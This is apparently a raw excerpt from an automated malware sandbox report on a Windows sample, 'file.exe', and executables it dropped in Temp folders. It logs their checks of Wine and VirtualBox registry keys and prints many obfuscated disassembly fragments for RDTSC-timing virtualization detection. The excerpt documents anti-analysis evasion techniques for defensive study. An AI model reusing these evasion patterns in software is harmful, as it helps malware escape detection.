Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C42E3 second address: 4C42E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C42E9 second address: 4C42ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C42ED second address: 4C3B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF8A1198181h 0x0000000e nop 0x0000000f pushad 0x00000010 xor dword ptr [ebp+122D2680h], edx 0x00000016 mov dword ptr [ebp+122D25EEh], eax 0x0000001c popad 0x0000001d push dword ptr [ebp+122D0BA5h] 0x00000023 mov dword ptr [ebp+122D1EA6h], ebx 0x00000029 call dword ptr [ebp+122D3859h] 0x0000002f pushad 0x00000030 jng 00007FF8A1198185h 0x00000036 xor eax, eax 0x00000038 cld 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jmp 00007FF8A1198181h 0x00000042 mov dword ptr [ebp+122D2C4Eh], eax 0x00000048 jmp 00007FF8A1198186h 0x0000004d mov esi, 0000003Ch 0x00000052 pushad 0x00000053 stc 0x00000054 sub dword ptr [ebp+122D2146h], eax 0x0000005a popad 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f cmc 0x00000060 cld 0x00000061 lodsw 0x00000063 clc 0x00000064 add eax, dword ptr [esp+24h] 0x00000068 cld 0x00000069 mov ebx, dword ptr [esp+24h] 0x0000006d mov dword ptr [ebp+122D1D04h], ecx 0x00000073 nop 0x00000074 push eax 0x00000075 push edx 0x00000076 jl 00007FF8A119817Ch 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3B09 second address: 4C3B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3B0D second address: 4C3B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3B13 second address: 4C3B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3B17 second address: 4C3B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E0A2 second address: 62E0AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF8A11CF036h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E0AE second address: 62E0BC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A1198178h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E0BC second address: 62E0C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A453 second address: 63A458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A458 second address: 63A468 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A8D3 second address: 63A8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A8DA second address: 63A8F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A8F0 second address: 63A917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 jbe 00007FF8A119817Ch 0x00000019 jns 00007FF8A1198176h 0x0000001f push eax 0x00000020 push edx 0x00000021 je 00007FF8A1198176h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AA79 second address: 63AA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AA7D second address: 63AA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AA81 second address: 63AA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63AA87 second address: 63AA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FF8A119817Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DAE7 second address: 63DAF1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF8A11CF03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DAF1 second address: 63DB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 jmp 00007FF8A1198183h 0x0000000d pop edi 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FF8A1198178h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 or dword ptr [ebp+122D1D12h], edi 0x0000002f mov dx, 1711h 0x00000033 push 00000000h 0x00000035 xor dword ptr [ebp+122D1EABh], ebx 0x0000003b call 00007FF8A1198179h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jnl 00007FF8A1198176h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DB54 second address: 63DB5E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DB5E second address: 63DBC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198186h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jmp 00007FF8A1198189h 0x00000010 pop edi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jc 00007FF8A119818Bh 0x0000001b jmp 00007FF8A1198185h 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF8A119817Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DBC1 second address: 63DBDA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8A11CF03Ch 0x00000008 jo 00007FF8A11CF036h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DBDA second address: 63DBDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DBDE second address: 63DBF0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FF8A11CF036h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DF07 second address: 63DFDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FF8A1198178h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 add dword ptr [ebp+122D2625h], ecx 0x00000016 push 00000000h 0x00000018 call 00007FF8A119817Dh 0x0000001d sub edi, dword ptr [ebp+122D2BCAh] 0x00000023 pop edi 0x00000024 push 9E4B9917h 0x00000029 jmp 00007FF8A1198183h 0x0000002e add dword ptr [esp], 61B46769h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FF8A1198178h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f xor edi, dword ptr [ebp+122D2EB2h] 0x00000055 jo 00007FF8A1198179h 0x0000005b mov dx, si 0x0000005e push 00000003h 0x00000060 mov dword ptr [ebp+122D1D73h], ecx 0x00000066 push 00000000h 0x00000068 mov dword ptr [ebp+122D1D04h], edx 0x0000006e push 00000003h 0x00000070 mov esi, dword ptr [ebp+122D2155h] 0x00000076 push 6903CBA9h 0x0000007b jmp 00007FF8A119817Dh 0x00000080 add dword ptr [esp], 56FC3457h 0x00000087 mov edx, 14EE4600h 0x0000008c lea ebx, dword ptr [ebp+1244D99Eh] 0x00000092 mov ecx, dword ptr [ebp+122D2E9Eh] 0x00000098 mov edi, 5D198BECh 0x0000009d xchg eax, ebx 0x0000009e push eax 0x0000009f push edx 0x000000a0 jc 00007FF8A1198178h 0x000000a6 pushad 0x000000a7 popad 0x000000a8 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DFDA second address: 63DFF3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A11CF038h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF8A11CF03Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C93D second address: 65C943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C943 second address: 65C973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF040h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF8A11CF045h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CAEA second address: 65CB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198185h 0x00000009 pop ecx 0x0000000a jmp 00007FF8A1198187h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D0CB second address: 65D0ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A11CF047h 0x00000008 ja 00007FF8A11CF036h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D3AA second address: 65D3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A119817Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D3BE second address: 65D3C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D3C2 second address: 65D3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A119817Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D3D8 second address: 65D3DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D521 second address: 65D525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D7C3 second address: 65D7C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D7C9 second address: 65D7CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D7CF second address: 65D7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D7D3 second address: 65D7D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D7D7 second address: 65D7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jc 00007FF8A11CF036h 0x00000011 pop ebx 0x00000012 jmp 00007FF8A11CF042h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D7FB second address: 65D838 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF8A119818Fh 0x00000008 jmp 00007FF8A1198183h 0x0000000d jns 00007FF8A1198176h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FF8A1198188h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E02B second address: 65E031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E2C2 second address: 65E2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E2C6 second address: 65E2CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E432 second address: 65E438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E438 second address: 65E43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E711 second address: 65E720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 jl 00007FF8A1198176h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E720 second address: 65E728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6622E9 second address: 6622F3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6622F3 second address: 6622FD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11CF03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6612FE second address: 661308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663743 second address: 66375D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A11CF045h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66375D second address: 663772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A119817Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663772 second address: 66378F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FF8A11CF03Eh 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627401 second address: 627409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627409 second address: 627410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627410 second address: 627415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ACD6 second address: 66ACDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ACDA second address: 66ACF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FF8A1198178h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ACF3 second address: 66ACF9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ACF9 second address: 66AD36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FF8A1198176h 0x00000009 jmp 00007FF8A1198185h 0x0000000e popad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007FF8A1198189h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AE74 second address: 66AE80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FF8A11CF036h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B2B1 second address: 66B2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF8A1198176h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B2C2 second address: 66B2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B2C6 second address: 66B2D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B2D2 second address: 66B2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BCF9 second address: 66BD46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 086E5F3Bh 0x00000011 stc 0x00000012 call 00007FF8A1198179h 0x00000017 jo 00007FF8A119818Ah 0x0000001d pushad 0x0000001e jmp 00007FF8A1198180h 0x00000023 push edx 0x00000024 pop edx 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FF8A1198184h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BD46 second address: 66BD6C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FF8A11CF047h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BD6C second address: 66BD72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BD72 second address: 66BD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C8CF second address: 66C8D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CC05 second address: 66CC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CC09 second address: 66CC13 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CE6E second address: 66CE7F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CE7F second address: 66CE85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D468 second address: 66D47F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FF8A11CF036h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jne 00007FF8A11CF036h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628F4B second address: 628F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF8A1198176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671122 second address: 6711C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007FF8A11CF046h 0x0000000d pop esi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FF8A11CF038h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c stc 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007FF8A11CF038h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 xor edi, dword ptr [ebp+122D1D29h] 0x0000004f push 00000000h 0x00000051 jmp 00007FF8A11CF045h 0x00000056 or si, 08BBh 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FF8A11CF03Eh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6711C1 second address: 6711CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6711CB second address: 6711CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
